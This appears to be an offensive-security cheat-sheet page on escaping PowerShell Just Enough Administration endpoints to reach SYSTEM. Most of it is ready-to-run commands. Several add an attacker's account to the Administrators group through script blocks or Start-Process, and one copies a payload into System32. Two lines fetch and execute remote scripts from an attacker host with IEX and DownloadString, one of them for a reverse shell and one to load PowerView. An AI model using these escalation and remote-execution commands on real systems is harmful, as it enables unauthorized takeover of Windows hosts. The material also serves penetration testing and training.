Skip to content
HackIndex logo

HackIndex

JEA Endpoint Escape – Breaking Out of Just Enough Administration

5 min read May 6, 2026

Just Enough Administration (JEA) is a PowerShell remoting configuration that locks a WinRM session to a whitelist of specific commands, typically running as a high-privilege virtual account in the background. The user connects with low or no privileges but the commands they are allowed to run execute as SYSTEM or a service account behind the scenes. A misconfigured JEA endpoint is a direct path to SYSTEM.

Recognising a JEA Session

Connect with evil-winrm as normal. If you land in a JEA endpoint rather than a full shell:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-p $PASSWORD Specifies the password for authentication

The prompt looks normal but most commands fail. The immediate tell:

PS C:\Users\Guest\Desktop> Get-Command

A full PowerShell session returns hundreds of commands. A JEA session returns a short, curated list — often fewer than 20. Also check:

PS C:\Users\Guest\Desktop> $ExecutionContext.SessionState.LanguageMode

NoLanguage confirms a JEA session. ConstrainedLanguage may also indicate a restricted endpoint.

Enumerating the JEA Configuration

List every command available to you:

PS C:\Users\Guest\Desktop> Get-Command | Select-Object Name, CommandType

Check for command parameters in detail — parameters are often the attack surface:

PS C:\Users\Guest\Desktop> Get-Command <allowed-command> | Select-Object -ExpandProperty Parameters

Read the session configuration if you can access it:

PS C:\Users\Guest\Desktop> Get-PSSessionConfiguration

Check the role capability files if accessible on disk — they define exactly what is permitted:

PS C:\Users\Guest\Desktop> Get-ChildItem "C:\Windows\System32\WindowsPowerShell\v1.0\Modules" -Recurse -Filter "*.psrc"
PS C:\Users\Guest\Desktop> Get-ChildItem "$env:ProgramFiles\WindowsPowerShell\Modules" -Recurse -Filter "*.psrc"
Explain command
"C:\Windows\System32\WindowsPowerShell\v1.0\Modules" Path to search for PowerShell modules in system directory
-Recurse Search subdirectories recursively
-Filter "*.psrc" Filter results to only .psrc files
"$env:ProgramFiles\WindowsPowerShell\Modules" Path to search in Program Files using environment variable
-Recurse Search subdirectories recursively
-Filter "*.psrc" Filter results to only .psrc files

Role capability files (.psrc) contain VisibleCmdlets, VisibleFunctions, VisibleExternalCommands, and ScriptBlocks entries. Reading one directly reveals exactly what the JEA policy allows.

Technique 1 – Script Block Abuse

If script blocks are permitted in the session configuration, you can define and call arbitrary PowerShell in the context of the underlying high-privilege account:

PS C:\Users\Guest\Desktop> Invoke-Command -ScriptBlock { whoami }
Explain command
-ScriptBlock Specifies a script block containing commands to execute remotely
{ whoami } Script block that executes whoami command to display current user

If this returns a privileged account name (e.g. nt authority\system or a service account), the JEA endpoint is running as that principal. Escalate immediately:

PS C:\Users\Guest\Desktop> Invoke-Command -ScriptBlock { net localgroup Administrators $USER /add /domain }
Explain command
-ScriptBlock Specifies a PowerShell script block to execute remotely or locally
$USER Variable placeholder for the target username to add to the group
/add Flag to add a user to the specified local group
/domain Flag to perform the operation on a domain account rather than local

Or get a reverse shell:

PS C:\Users\Guest\Desktop> Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/rev.ps1') }

Technique 2 – Parameter Injection via Allowed Cmdlets

Many JEA configurations allow helpdesk-style cmdlets that take a Path, FilePath, or ScriptBlock parameter. If any allowed command accepts a file path or script block parameter, inject through it.

Example — if Restart-Service is allowed:

PS C:\Users\Guest\Desktop> Get-Command Restart-Service | Select -ExpandProperty Parameters
Explain command
Restart-Service PowerShell cmdlet to restart a Windows service
Get-Command PowerShell cmdlet to retrieve information about commands
Select PowerShell cmdlet to select object properties or subset of objects
-ExpandProperty Expands the specified property and includes its values in the output
Parameters Property name specifying parameters of the Restart-Service command

Look for -PassThru, -Confirm, or anything that might trigger a script. Some administrative cmdlets allow -Before or -After script hooks.

If Start-Process is allowed:

PS C:\Users\Guest\Desktop> Start-Process -FilePath cmd.exe -ArgumentList "/c net localgroup Administrators $USER /add"
Explain command
-FilePath Specifies the program to execute
cmd.exe Windows command interpreter executable
-ArgumentList Passes arguments to the executable
/c Carries out command and terminates cmd.exe
net localgroup Administrators Command to manage local administrator group membership
$USER Variable placeholder for username to add to group
/add Adds a user to the specified group

If Copy-Item is allowed and you can write to a privileged path:

PS C:\Users\Guest\Desktop> Copy-Item C:\Windows\Temp\payload.exe C:\Windows\System32\malware.exe

Then trigger execution via any allowed command that runs executables.

Technique 3 – Function Definition Escape

If the JEA endpoint allows defining functions but restricts language mode, try defining a function that wraps a restricted operation:

function Invoke-Escape { whoami }
Invoke-Escape

Some JEA implementations check the top-level command name but not nested script blocks inside permitted functions.

Technique 4 – Connecting to an Unrestricted Endpoint

A server often has multiple WinRM endpoints registered — the default restricted JEA endpoint is configured by name but the default microsoft.powershell endpoint may still exist and accept connections from your account:

List registered endpoints (if Get-PSSessionConfiguration is available):

PS C:\Users\Guest\Desktop> Get-PSSessionConfiguration | Select-Object Name, Permission

Connect to the default unrestricted endpoint explicitly:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -e microsoft.powershell
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-p $PASSWORD Specifies the password for authentication
-e microsoft.powershell Specifies the PowerShell executable engine to use

Or with Enter-PSSession specifying the ConfigurationName:

PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName $TARGET_IP -Credential $USER -ConfigurationName "microsoft.powershell"
Explain command
-ComputerName $TARGET_IP Specifies the remote computer to connect to
-Credential $USER Provides credentials for authentication to the remote host
-ConfigurationName "microsoft.powershell" Specifies the PowerShell configuration/endpoint to use on remote

If the default endpoint is accessible to your account, it bypasses the JEA restriction entirely.

Technique 5 – Abusing RunAs Virtual Account

JEA endpoints that use RunAsVirtualAccount = $true in their session configuration execute all commands as a local administrator or SYSTEM. If you can identify what the virtual account can do, you can escalate through any permitted command.

Check which account your commands run as:

PS C:\Users\Guest\Desktop> Invoke-Command -ScriptBlock { whoami }

If the output is nt authority\system or a privileged local account, any command parameter abuse above immediately yields SYSTEM access.

Post-Escape Verification

After escaping, confirm full language mode and privilege:

PS C:\Users\Guest\Desktop> $ExecutionContext.SessionState.LanguageMode
PS C:\Users\Guest\Desktop> whoami /all

Load tools from memory:

PS C:\Users\Guest\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')

References